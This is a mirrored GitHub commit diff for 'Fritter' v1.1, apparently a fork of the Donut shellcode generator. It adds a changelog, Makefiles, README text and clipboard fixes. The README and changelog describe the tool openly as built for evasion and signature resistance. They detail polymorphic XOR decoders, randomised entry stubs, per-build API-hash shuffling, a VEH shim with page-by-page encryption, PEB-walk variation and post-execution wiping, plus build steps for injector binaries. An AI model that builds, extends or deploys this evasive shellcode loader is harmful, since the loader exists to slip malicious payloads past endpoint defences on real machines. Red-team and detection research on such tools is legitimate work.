mirror of
https://github.com/0xROOTPLS/Fritter
synced 2026-06-06 15:04:30 +00:00
Updated to Fritter v1.1
Many polymorphism changes, operational polish, and bug fixes.
This commit is contained in:
@@ -0,0 +1,73 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to Fritter since the v1.0 public release. (*Categorized by area*)
|
||||
|
||||
## Per-output polymorphism - module-by-module deep dive
|
||||
|
||||
v1.1 - A 5 module audit and rewrite of every randomized region in the generated PIC. Each module was validated by deterministic seed smoke tests with manual injection runs (Default is non-deterministic).
|
||||
|
||||
### Entry stub
|
||||
v1.1 - Junk fallthrough prefix replaced the previous `EB <len>` jump->skip->junk pattern. Multi-byte safe instruction pool used (NOPs, flag ops, register-form NOPs, `xchg rax,rax`); random target length;. Resulting in no fixed opcode at offset 0.
|
||||
v1.1 - Generative RSP alignment routine replaced the three fixed templates. Save-register chosen from a pool, save-form (mov vs lea) and restore-form chosen independently, junk in both prologue and epilogue. CALL displacement computed dynamically from emitted epilogue size.
|
||||
v1.1 - Generative decoder shim trampoline replaced the fixed `48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ??` byte pattern. Target-register pool, optional MOV-RDX-from-target, junk slots, choice between rel32 JMP and indirect `FF E2`.
|
||||
|
||||
### Poly XOR decoder
|
||||
v1.1 - Variable key length picked per output from a small set, propagated to: AND-mask immediate, JMP-SHORT skip immediate, trailing key byte count, AND host-side XOR encode mask. (collapses three previously-fixed anchors (`AND ?? 07`, `EB 08`, fixed-len key tail)).
|
||||
v1.1 - The movable instruction groups in the decode loop are emitted in one of three valid orderings now (Remedies the canonical fixed opcode chain in the loop body)
|
||||
v1.1 - Zero init opcode swap for the key-index initialization (XOR vs SUB).
|
||||
v1.1 - Leading junk before the `push rcx` so byte 0 of the decoder stub is no longer always `0x51`.
|
||||
v1.1 - Junk between `pop rcx` and the `EB` skip-jump to break the canonical 3-byte sequence.
|
||||
|
||||
### VEH shim
|
||||
v1.1 - Per-build string scrambling of the stack built API/DLL strings & now key is forced into a range that avoids zero-byte collisions with printable ASCII.
|
||||
v1.1 - Per-build PEB list pick for the shim's DLL resolution. (should have been v1, missed)
|
||||
v1.1 - Salt site placement diversification fixed. The previous 'volatile-temp-then-discard' was replaced with XOR-cancel pairs against existing volatile struct fields. Now will appear as immediate operands in real load/store sequences.
|
||||
|
||||
### Loader
|
||||
v1.1 - Per-build wipe byte for the post-execution `Memset` of the instance, replacing zeroing.
|
||||
v1.1 - Per-build PEB walk direction randomized to either be flink or blink.
|
||||
v1.1 - Structural salt sites in `MainProc` changed to XOR-cancel pairs against volatile mirrors of `inst->len` and `inst->api_cnt`, gated on per-build salt bits, placing per-build immediate operands into the live execution path.
|
||||
v1.1 - GET_PEB hardcoded to a TEB-indirect varient instead of the canonical `gs:[0x60]`.
|
||||
v1.1 - **Banner correction**: previous "ChaCha20" claim was inaccurate. The cipher is *similar to ChaCha* but not exact. Banner now reflects this.
|
||||
|
||||
### Cleanup
|
||||
v1.1 - Per-build wipe byte for the shim's loader-page wipe loop instead of just zeroing.
|
||||
v1.1 - Per-build VEH context scrub pattern has been updated. The `g_ctx` struct fields are scrubbed with a per-build value pattern derived from the wipe byte, replicated to each field's width. Pointer fields scrub to non-zero..
|
||||
v1.1 - The 6 `g_ctx` fields are scrubbed in one of four fixed orderings, picked from per-build salt bits.
|
||||
|
||||
## Per-build polymorphism infrastructure
|
||||
|
||||
Per-build axes are emitted by two -new- build-time tools and consumed by the source via `__has_include`-guarded includes plus X-macro expansion.
|
||||
|
||||
v1.1 - **`tools/gen_poly`** - emits `include/poly_seed.h` with cipher rotation constants, hash rotation constants, round counts, multi-purpose 32-bit salt values, wipe bytes, PEB walk direction picks, string-scrambling keys, and so on. Seeded by `FRITTER_BUILD_SEED` env (or time-mixed default for fresh randomization on every `make`).
|
||||
v1.1 - **`tools/gen_api_shuffle`** - reads a canonical API list (`include/api_master.h`, an X-macro file) and emits a per-build Fisher-Yates-shuffled version (`include/api_shuffle.h`). Slot 0 is pinned. Both `fritter.h` (the typed function-pointer view) and `fritter.c` (the API hash table) expand the same shuffled X-macro list, so the typed view and the hash array are guaranteed to stay in lockstep by construction.
|
||||
v1.1 - **`FRITTER_BUILD_SEED` environment variable** - set to a 32-bit value for reproducible builds; **omit for fresh per-make randomization.**
|
||||
v1.1 - **All three Makefiles** updated to build and run the generators before any compile step.
|
||||
|
||||
## Cross-platform build
|
||||
|
||||
v1.1 - **Linux static-musl ELF cross-compile.** New `Makefile.linux` produces a self-contained `fritter` ELF binary on Linux with no runtime libc dependency, using `musl-gcc` for the orchestrator and `mingw-w64` for the Windows-side loader/shim payload. `lib/aplib_linux64.a` provides the aPLib decompression interface. The orchestrator runs on any modern x86_64 Linux distro without further setup.
|
||||
v1.1 - **Reproducible builds** via `FRITTER_BUILD_SEED`. Output bytes are deterministic given a fixed seed, modulo `__DATE__` / `__TIME__` macro expansions still present in source (couldn't be bothered).
|
||||
|
||||
## Bug fixes
|
||||
|
||||
A 9-module audit produced a list of user-facing bugs that were addressed:
|
||||
|
||||
v1.1 - **`-y` / `--fork` crash** in the loader's `FritterLoader` path - `_GetModuleHandleA` was used before being resolved. Resolution moved before first use.
|
||||
v1.1 - **`Makefile.msvc` cleanup** - dropped a stale reference to a long-removed `order.txt` file.
|
||||
v1.1 - **`#pragma section` on MSVC** - the shim's `.text`-placed VEH context struct was missing the MSVC section pragma; now correctly placed via `#pragma section` + `__declspec(allocate)`, with the GCC `__attribute__((section, used))` form preserved on the other branch.
|
||||
v1.1 - **`format.c` clipboard rewrite** - five distinct issues in the clipboard output path were fixed in one pass (handle leak, missing global lock release, wrong format constant, mis-sized allocation, return-value ignored).
|
||||
v1.1 - **`format.c` Python template typo** - `buf` vs `buff` inconsistency leading to a generated Python module that wouldn't run.
|
||||
v1.1 - **Hash-loop bounds check** in `fritter.c` - could read one element past the array end on certain inputs.
|
||||
v1.1 - **`main()` exit code** - returned 0 on error paths; now returns 1.
|
||||
v1.1 - **`validate_format` UUID case-handling** - accepted only lowercase hex; now case-insensitive.
|
||||
v1.1 - **`gen_random` short-read loop** - single-read could return fewer bytes than requested without retry; now loops until full request satisfied.
|
||||
v1.1 - **API table swap** - pre-existing `InternetCloseHandle` / `InternetQueryDataAvailable` slot swap in the HTTP staging path was fixed as a side effect of consolidating the API list into a single source-of-truth X-macro file.
|
||||
v1.1 - **Trampoline displacement coupling** - when the decoder -> shim trampoline became variable-size, the decoder's RIP-relative displacement to the encode d data still used the old hardcoded constant. Fixed; now derived from the actual emitted trampoline size.
|
||||
|
||||
|
||||
## Known caveats
|
||||
|
||||
v1.1 - `volatile` on auto-storage-duration local variables is not a 100% reliable barrier under -O1 with mingw-w64 GCC. The compiler may place the variable in a register, where the "memory" loads/stores become register reads/writes and the optimizer may fold a salt-XOR-cancel pair. New salt-cancel sites should target variables that are **used downstream** (forces stack spill in functions with high register pressure) and should be validated with deterministic-seed smoke runs covering enough combinations to expose any latent fold.
|
||||
v1.1 - Compression fallback when aPLib doesn't help is deferred. Builds where the input is incompressible may produce slightly larger shellcode than necessary.
|
||||
v1.1 - `__DATE__` / `__TIME__` are still present in the orchestrator source. Reproducible builds require a fixed timezone in the build environment, or a future cleanup that removes the macros.
|
||||
@@ -0,0 +1,80 @@
|
||||
# Fritter — Linux build (static-musl ELF)
|
||||
#
|
||||
# Produces a self-contained x86_64 Linux orchestrator that runs on any
|
||||
# modern distro without runtime libc dependencies. The loader payload is
|
||||
# still Windows PE shellcode (cross-compiled via mingw-w64).
|
||||
#
|
||||
# Requires (on Ubuntu/Debian): build-essential, mingw-w64, musl-tools
|
||||
|
||||
CC := gcc
|
||||
MUSL := musl-gcc
|
||||
MINGW := x86_64-w64-mingw32-gcc
|
||||
|
||||
LOADER_CFLAGS := -fno-toplevel-reorder -fno-builtin -fpack-struct=8 -fPIC -O1 -nostdlib
|
||||
LOADER_SRCS := loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c
|
||||
|
||||
FRITTER_SRCS := fritter.c hash.c encrypt.c format.c loader/clib.c
|
||||
APLIB := lib/aplib_linux64.a
|
||||
|
||||
FRITTER_CFLAGS := -static -Wall -Os -s -fpack-struct=8 -DFRITTER_EXE \
|
||||
-Wno-format-truncation
|
||||
FRITTER_LDFLAGS := -Wl,-z,noexecstack
|
||||
|
||||
fritter: clean
|
||||
$(info ###### LINUX RELEASE ######)
|
||||
$(CC) tools/gen_poly.c -o gen_poly
|
||||
./gen_poly include/poly_seed.h
|
||||
|
||||
$(CC) tools/gen_api_shuffle.c -o gen_api_shuffle
|
||||
./gen_api_shuffle include/api_master.h include/api_shuffle.h
|
||||
|
||||
$(CC) -I include loader/exe2h/exe2h.c -o exe2h
|
||||
|
||||
$(MINGW) -DPEB_WALK_ORDER=1 $(LOADER_CFLAGS) $(LOADER_SRCS) -I include -o loader_peb1.exe
|
||||
./exe2h loader_peb1.exe
|
||||
|
||||
$(MINGW) -DPEB_WALK_ORDER=2 $(LOADER_CFLAGS) $(LOADER_SRCS) -I include -o loader_peb2.exe
|
||||
./exe2h loader_peb2.exe
|
||||
|
||||
$(MINGW) $(LOADER_CFLAGS) loader/veh_shim.c -I include -o veh_shim.exe
|
||||
./exe2h veh_shim.exe
|
||||
|
||||
$(MUSL) $(FRITTER_CFLAGS) -I include $(FRITTER_SRCS) $(APLIB) $(FRITTER_LDFLAGS) -o fritter
|
||||
|
||||
debug: clean
|
||||
$(info ###### LINUX DEBUG ######)
|
||||
$(CC) tools/gen_poly.c -o gen_poly
|
||||
./gen_poly include/poly_seed.h
|
||||
|
||||
$(CC) tools/gen_api_shuffle.c -o gen_api_shuffle
|
||||
./gen_api_shuffle include/api_master.h include/api_shuffle.h
|
||||
|
||||
$(CC) -I include loader/exe2h/exe2h.c -o exe2h
|
||||
|
||||
$(MINGW) -DPEB_WALK_ORDER=1 $(LOADER_CFLAGS) $(LOADER_SRCS) -I include -o loader_peb1.exe
|
||||
./exe2h loader_peb1.exe
|
||||
|
||||
$(MINGW) -DPEB_WALK_ORDER=2 $(LOADER_CFLAGS) $(LOADER_SRCS) -I include -o loader_peb2.exe
|
||||
./exe2h loader_peb2.exe
|
||||
|
||||
$(MINGW) $(LOADER_CFLAGS) loader/veh_shim.c -I include -o veh_shim.exe
|
||||
./exe2h veh_shim.exe
|
||||
|
||||
$(MUSL) -static -Wall -Wno-format -fpack-struct=8 -DDEBUG -DFRITTER_EXE \
|
||||
-I include $(FRITTER_SRCS) $(APLIB) $(FRITTER_LDFLAGS) -o fritter
|
||||
|
||||
release: fritter
|
||||
$(info ###### LINUX RELEASE ARTIFACT ######)
|
||||
mkdir -p dist
|
||||
cp fritter dist/fritter-linux-x64
|
||||
cd dist && sha256sum fritter-linux-x64 > fritter-linux-x64.sha256
|
||||
@echo
|
||||
@ls -lh dist/fritter-linux-x64
|
||||
@cat dist/fritter-linux-x64.sha256
|
||||
|
||||
clean:
|
||||
rm -rf dist
|
||||
rm -f exe2h gen_poly gen_api_shuffle include/poly_seed.h include/api_shuffle.h fritter loader.bin instance \
|
||||
loader_peb1.exe loader_peb2.exe veh_shim.exe \
|
||||
loader_peb1_exe_x64.h loader_peb2_exe_x64.h veh_shim_exe_x64.h \
|
||||
loader_peb1_exe_x64.go loader_peb2_exe_x64.go veh_shim_exe_x64.go
|
||||
+13
-1
@@ -5,6 +5,12 @@ LOADER_SRCS := loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c
|
||||
|
||||
fritter: clean
|
||||
$(info ###### RELEASE ######)
|
||||
$(CC64) tools/gen_poly.c -ogen_poly.exe
|
||||
./gen_poly.exe include/poly_seed.h
|
||||
|
||||
$(CC64) tools/gen_api_shuffle.c -ogen_api_shuffle.exe
|
||||
./gen_api_shuffle.exe include/api_master.h include/api_shuffle.h
|
||||
|
||||
$(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe
|
||||
|
||||
$(CC64) -DPEB_WALK_ORDER=1 $(LOADER_CFLAGS) $(LOADER_SRCS) -I include -oloader_peb1.exe
|
||||
@@ -19,6 +25,12 @@ fritter: clean
|
||||
$(CC64) -Wall -Os -s -fpack-struct=8 -DFRITTER_EXE -I include fritter.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -ofritter.exe
|
||||
debug: clean
|
||||
$(info ###### DEBUG ######)
|
||||
$(CC64) tools/gen_poly.c -ogen_poly.exe
|
||||
./gen_poly.exe include/poly_seed.h
|
||||
|
||||
$(CC64) tools/gen_api_shuffle.c -ogen_api_shuffle.exe
|
||||
./gen_api_shuffle.exe include/api_master.h include/api_shuffle.h
|
||||
|
||||
$(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe
|
||||
|
||||
$(CC64) -DPEB_WALK_ORDER=1 $(LOADER_CFLAGS) $(LOADER_SRCS) -I include -oloader_peb1.exe
|
||||
@@ -35,4 +47,4 @@ debug: clean
|
||||
$(CC64) -Wall loader/inject.c -oinject64.exe
|
||||
$(CC64) -Wall loader/inject_local.c -oinject_local64.exe
|
||||
clean:
|
||||
rm -f exe2h exe2h.exe loader.bin instance fritter.o hash.o encrypt.o format.o clib.o hash encrypt fritter hash.exe encrypt.exe fritter.exe lib/libfritter.a lib/libfritter.so loader.exe loader32.exe loader64.exe inject32.exe inject64.exe inject_local32.exe inject_local64.exe loader_peb1.exe loader_peb2.exe loader_peb1_exe_x64.h loader_peb2_exe_x64.h veh_shim.exe veh_shim_exe_x64.h veh_shim_exe_x64.go
|
||||
rm -f exe2h exe2h.exe gen_poly.exe gen_api_shuffle.exe include/poly_seed.h include/api_shuffle.h loader.bin instance fritter.o hash.o encrypt.o format.o clib.o hash encrypt fritter hash.exe encrypt.exe fritter.exe lib/libfritter.a lib/libfritter.so loader.exe loader32.exe loader64.exe inject32.exe inject64.exe inject_local32.exe inject_local64.exe loader_peb1.exe loader_peb2.exe loader_peb1_exe_x64.h loader_peb2_exe_x64.h veh_shim.exe veh_shim_exe_x64.h veh_shim_exe_x64.go
|
||||
|
||||
+37
-23
@@ -1,49 +1,63 @@
|
||||
fritter: clean
|
||||
@echo ###### Building gen_poly ######
|
||||
cl /nologo tools\gen_poly.c -Fe:gen_poly.exe
|
||||
.\gen_poly.exe include\poly_seed.h
|
||||
|
||||
@echo ###### Building gen_api_shuffle ######
|
||||
cl /nologo tools\gen_api_shuffle.c -Fe:gen_api_shuffle.exe
|
||||
.\gen_api_shuffle.exe include\api_master.h include\api_shuffle.h
|
||||
|
||||
@echo ###### Building exe2h ######
|
||||
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
|
||||
|
||||
@echo ###### Building loader (PEB order 1) ######
|
||||
cl -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=1 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -order:@loader\order.txt -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb1.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
exe2h loader_peb1.exe
|
||||
cl /std:clatest /utf-8 -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=1 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb1.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
.\exe2h.exe loader_peb1.exe
|
||||
|
||||
@echo ###### Building loader (PEB order 2) ######
|
||||
cl -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=2 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -order:@loader\order.txt -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb2.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
exe2h loader_peb2.exe
|
||||
cl /std:clatest /utf-8 -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=2 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb2.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
.\exe2h.exe loader_peb2.exe
|
||||
|
||||
@echo ###### Building VEH shim ######
|
||||
cl -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\veh_shim.c
|
||||
cl /std:clatest /utf-8 -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\veh_shim.c
|
||||
link -nologo -entry:VehShimEntry -fixed -subsystem:console -nodefaultlib -out:veh_shim.exe veh_shim.obj
|
||||
exe2h veh_shim.exe
|
||||
.\exe2h.exe veh_shim.exe
|
||||
|
||||
@echo ###### Building generator ######
|
||||
cl -Zp8 -DFRITTER_EXE -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.exe
|
||||
cl -Zp8 -nologo -DDLL -LD -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.dll
|
||||
cl /std:clatest /utf-8 -Zp8 -DFRITTER_EXE -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.exe
|
||||
cl /std:clatest /utf-8 -Zp8 -nologo -DDLL -LD -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.dll
|
||||
move fritter.lib lib\fritter.lib
|
||||
move fritter.exp lib\fritter.exp
|
||||
move fritter.dll lib\fritter.dll
|
||||
|
||||
debug: clean
|
||||
cl /nologo tools\gen_poly.c -Fe:gen_poly.exe
|
||||
.\gen_poly.exe include\poly_seed.h
|
||||
|
||||
cl /nologo tools\gen_api_shuffle.c -Fe:gen_api_shuffle.exe
|
||||
.\gen_api_shuffle.exe include\api_master.h include\api_shuffle.h
|
||||
|
||||
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
|
||||
|
||||
cl -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=1 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -order:@loader\order.txt -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb1.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
exe2h loader_peb1.exe
|
||||
cl /std:clatest /utf-8 -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=1 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb1.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
.\exe2h.exe loader_peb1.exe
|
||||
|
||||
cl -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=2 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -order:@loader\order.txt -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb2.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
exe2h loader_peb2.exe
|
||||
cl /std:clatest /utf-8 -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -DPEB_WALK_ORDER=2 -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -entry:FritterLoader -fixed -subsystem:console -nodefaultlib -out:loader_peb2.exe loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
.\exe2h.exe loader_peb2.exe
|
||||
|
||||
cl -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\veh_shim.c
|
||||
cl /std:clatest /utf-8 -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\veh_shim.c
|
||||
link -nologo -entry:VehShimEntry -fixed -subsystem:console -nodefaultlib -out:veh_shim.exe veh_shim.obj
|
||||
exe2h veh_shim.exe
|
||||
.\exe2h.exe veh_shim.exe
|
||||
|
||||
cl -Zp8 -nologo -DDEBUG -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
cl /std:clatest /utf-8 -Zp8 -nologo -DDEBUG -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
|
||||
link -nologo -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
|
||||
|
||||
cl -Zp8 -nologo -DDEBUG -DFRITTER_EXE -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.exe
|
||||
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.dll
|
||||
cl /std:clatest /utf-8 -Zp8 -nologo -DDEBUG -DFRITTER_EXE -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.exe
|
||||
cl /std:clatest /utf-8 -Zp8 -nologo -DDEBUG -DDLL -LD -I include fritter.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib -Fe:fritter.dll
|
||||
move fritter.lib lib\fritter.lib
|
||||
move fritter.exp lib\fritter.exp
|
||||
move fritter.dll lib\fritter.dll
|
||||
@@ -53,4 +67,4 @@ hash:
|
||||
encrypt:
|
||||
cl -Zp8 -nologo -DTEST -I include encrypt.c
|
||||
clean:
|
||||
@del /Q mmap-windows.obj fritter.obj hash.obj encrypt.obj depack.obj format.obj clib.obj veh_shim.obj exe2h.exe loader.exe loader_peb1.exe loader_peb2.exe loader_peb1_exe_x64.h loader_peb2_exe_x64.h veh_shim.exe veh_shim_exe_x64.h hash.exe encrypt.exe fritter.exe lib\fritter.lib lib\fritter.exp lib\fritter.dll 2>nul
|
||||
@del /Q mmap-windows.obj fritter.obj hash.obj encrypt.obj depack.obj format.obj clib.obj veh_shim.obj gen_poly.obj gen_poly.exe gen_api_shuffle.obj gen_api_shuffle.exe include\poly_seed.h include\api_shuffle.h exe2h.exe loader.exe loader_peb1.exe loader_peb2.exe loader_peb1_exe_x64.h loader_peb2_exe_x64.h veh_shim.exe veh_shim_exe_x64.h hash.exe encrypt.exe fritter.exe lib\fritter.lib lib\fritter.exp lib\fritter.dll 2>nul
|
||||
|
||||
@@ -2,18 +2,45 @@
|
||||
|
||||
The evasive cousin of [Donut](https://github.com/TheWover/donut).
|
||||
|
||||
Fritter is a heavily modified fork of TheWover and Odzhan's Donut shellcode generator. It generates position-independent shellcode for in-memory execution of VBScript, JScript, EXE, DLL, and .NET assemblies, but with a heavy focus on evasion and signature resistance.
|
||||
Fritter is a heavily modified fork of TheWover and Odzhan's Donut shellcode generator. It generates position-independent shellcode for in-memory execution of VBScript, JScript, EXE, DLL, and .NET assemblies, with a focus on evasion and signature resistance. The codebase is x64-only.
|
||||
|
||||
## What's different
|
||||
|
||||
Fritter strips out features that aren't needed and replaces internals that have become well-signatured over the years. The crypto, compression, and API resolution layers have all been reworked. The codebase has been simplified to x64-only.
|
||||
**Lots.** Fritter strips out features that aren't commonly needed and replaces internals that have become well-signatured over the years. The crypto, compression, hashing, and API resolution layers have all been reworked among many other areas.
|
||||
|
||||
Every generation produces fully unique output. The entry stub, encoding layer, and loader blob are all randomized per run. Different instructions, different keys, different layout, different sizes. Nothing is static between two runs of the same input.
|
||||
Polymorphism and evasion is the design goal. Every output is unique, and every build of the tool is itself unique. There are two distinct layers:
|
||||
|
||||
**Per-output randomization**: applied each time `fritter` is invoked. The entry stub, the polymorphic decoder, the encryption keys, and many structural elements within the generated shellcode are regenerated from new entropy on every PIC build.
|
||||
|
||||
**Per-build randomization**: applied each time `fritter` itself is compiled. Cipher and hash rotation constants, API resolution table layout, shim-side string scrambling, PEB-walk directions, post-execution wipe patterns, and several structural axes inside the loader and shim are baked at compile time.
|
||||
|
||||
|
||||
At runtime, Fritter minimizes the executable footprint of the loader. By default, only a small window of loader code is decrypted and executable at any given moment; pages are re-encrypted as the window advances. This does add total time until shellcode execution. This can be reverted to the simpler RW->RX model with `-g 0` if needed.
|
||||
|
||||
## !! Build from source is strongly recommended !!
|
||||
|
||||
**This matters.** The pre-built binaries available for testing in *`releases`* share their per-build constants across all users of the binary.
|
||||
|
||||
**Build your own copy.** The per-build axes are re-randomized on every `make` invocation:
|
||||
|
||||
```bash
|
||||
# Linux — static-musl ELF, no runtime libc dependency
|
||||
# Requires: build-essential, mingw-w64, musl-tools
|
||||
make -f Makefile.linux release
|
||||
|
||||
# Windows (MSVC)
|
||||
nmake -f Makefile.msvc
|
||||
|
||||
# Windows (MinGW)
|
||||
make -f Makefile.mingw release
|
||||
```
|
||||
|
||||
Each `make` runs `tools/gen_poly` to emit fresh per-build constants and `tools/gen_api_shuffle` to permute the API resolution table. The resulting `fritter` binary is itself unique with different cipher constants, different hash constants, a different API table layout, different shim-side string scrambling, and so on. Every shellcode generated by *that* binary will then share *those* per-build constants but vary on the per-output axes.
|
||||
|
||||
At runtime, Fritter manages memory permissions to minimize the executable footprint of the loader in memory. By default, only a small window of code is executable at any given time during loader execution. This can be configured with the `-g` flag.
|
||||
|
||||
## Usage
|
||||
|
||||
*A `/test` folder is included with `calc.exe` and `inject_local64.exe` to test Fritter.*
|
||||
```
|
||||
fritter [options] -i <EXE/DLL/VBS/JS>
|
||||
|
||||
@@ -49,12 +76,28 @@ fritter [options] -i <EXE/DLL/VBS/JS>
|
||||
```
|
||||
fritter -i payload.exe
|
||||
fritter -i implant.dll -m RunMain -p "arg1 arg2"
|
||||
fritter -i payload.exe -g 0 -o out.bin
|
||||
fritter -i payload.exe -g 0 -k 2 -o out.bin
|
||||
```
|
||||
|
||||
## Architecture (many implementations are not listed here)
|
||||
|
||||
A Fritter shellcode payload is structured as nested layers, each one decrypting or staging the next:
|
||||
|
||||
1. **Entry stub.** A randomized junk prefix of variable length, an RSP-alignment routine generated per output, and a generative trampoline.
|
||||
|
||||
2. **Polymorphic XOR decoder.** Two-pass-assembled. Register allocation drawn from a pool by Fisher-Yates shuffle. Key length picked per output. Junk inserted between every real instruction. The hot loop's movable instruction groups are reordered within correctness constraints.
|
||||
|
||||
3. **VEH shim.** Wraps the loader with a vectored exception handler and per-page encryption. Only one loader page is decrypted and marked executable at any moment; pages are re-encrypted as the window advances. Salt-driven structural variation is woven into multiple sites.
|
||||
|
||||
4. **Loader.** PE in-memory mapper. Resolves APIs by hash, maps the embedded PE via section APIs, applies imports / relocations / TLS callbacks, invokes the entrypoint, then wipes. PEB walk direction, post-exec wipe byte, structural salt sites in MainProc, are all randomized per build.
|
||||
|
||||
5. **Cleanup.** Wipes loader pages with a per-build byte pattern, rems the VEH handler, rems the VEH context struct, erases the instance, and exits via thread or process termination per `-x`.
|
||||
|
||||
Residual footprint after execution is one small RWX page where the shim ran (the function epilogue must execute on it, so it cannot be self-wiped). In thread mode the mapped PE section is intentionally left intact so CRT callbacks have continuations.
|
||||
|
||||
## Credits
|
||||
|
||||
Fritter is built on the work of [TheWover](https://github.com/TheWover) and [Odzhan](https://github.com/odzhan), whose original [Donut](https://github.com/TheWover/donut) project made position-independent shellcode generation accessible and practical. Their architecture, loader design, and PIC framework are the foundation everything here is built on.
|
||||
Fritter is built on the work of [TheWover](https://github.com/TheWover) and [Odzhan](https://github.com/odzhan), whose original [Donut](https://github.com/TheWover/donut) project made position-independent shellcode generation accessible and practical. Their architecture, loader design, and PIC framework are the foundation everything here is built on. The PE mapping, .NET hosting, and script execution paths are largely their work, retained and respected.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
@@ -72,7 +72,7 @@ static int b64_encode(
|
||||
const void *src, uint32_t inlen,
|
||||
void *dst, uint32_t *outlen)
|
||||
{
|
||||
uint32_t i, len, x;
|
||||
uint32_t i = 0, len, x;
|
||||
uint8_t *in = (uint8_t*)src, *out = (uint8_t*)dst;
|
||||
|
||||
// check arguments
|
||||
@@ -135,27 +135,34 @@ int base64_template(void *pic, uint32_t pic_len, FILE *fd) {
|
||||
}
|
||||
// if on windows, copy base64 string to clipboard
|
||||
#if defined(WINDOWS)
|
||||
LPTSTR strCopy;
|
||||
LPSTR strCopy;
|
||||
HGLOBAL hCopy;
|
||||
|
||||
|
||||
DPRINT("Opening clipboard");
|
||||
if(OpenClipboard(NULL)) {
|
||||
DPRINT("Empying contents");
|
||||
EmptyClipboard();
|
||||
|
||||
|
||||
DPRINT("Allocating memory");
|
||||
hCopy = GlobalAlloc(GMEM_MOVEABLE, outlen);
|
||||
// CF_TEXT requires NUL-terminated buffer; +1 for the terminator
|
||||
hCopy = GlobalAlloc(GMEM_MOVEABLE, outlen + 1);
|
||||
if(hCopy != NULL) {
|
||||
strCopy = GlobalLock(hCopy);
|
||||
// copy base64 string to memory
|
||||
CopyMemory(strCopy, base64, outlen);
|
||||
GlobalLock(hCopy);
|
||||
DPRINT("Setting clipboard data");
|
||||
// copy to clipboard
|
||||
SetClipboardData(CF_TEXT, hCopy);
|
||||
GlobalFree(hCopy);
|
||||
strCopy = (LPSTR)GlobalLock(hCopy);
|
||||
if(strCopy != NULL) {
|
||||
CopyMemory(strCopy, base64, outlen);
|
||||
strCopy[outlen] = '\0';
|
||||
GlobalUnlock(hCopy);
|
||||
